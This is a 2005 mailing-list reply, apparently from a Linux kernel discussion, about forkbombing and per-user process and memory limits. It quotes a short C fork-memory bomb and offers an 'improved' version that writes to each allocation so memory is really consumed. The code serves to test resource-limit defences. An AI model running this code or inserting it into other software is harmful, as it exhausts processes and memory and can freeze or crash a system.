Re: forkbombing Linux distributions

folkert
2005-03-28T18:02:50Z

> > The memory limits aren't good enough either: if you set them low
> > enough that memory-forkbombs are unperilous for
> > RLIMIT_NPROC*RLIMIT_DATA, it's probably too low for serious
> > applications.
> yes, if you want to run application like openoffice.org you need at
> least 200Mo. If you want that your system is usable, you need at least 40 process per user. So 40*200 = 8Go, and it don't think you have all this memory...
> I think per user limit could be a solution.
> attached a small fork-memory bombing.
> Matthieu
> int main()
> {
> while(1){
> while(fork()){
> malloc(1);
> }
> }
> }

Imporved version:

int main()
{
while(1) {
while(fork()) {
char *dummy = (char *)malloc(1);
*dummy = 1;
}
}
}

Folkert van Heusden

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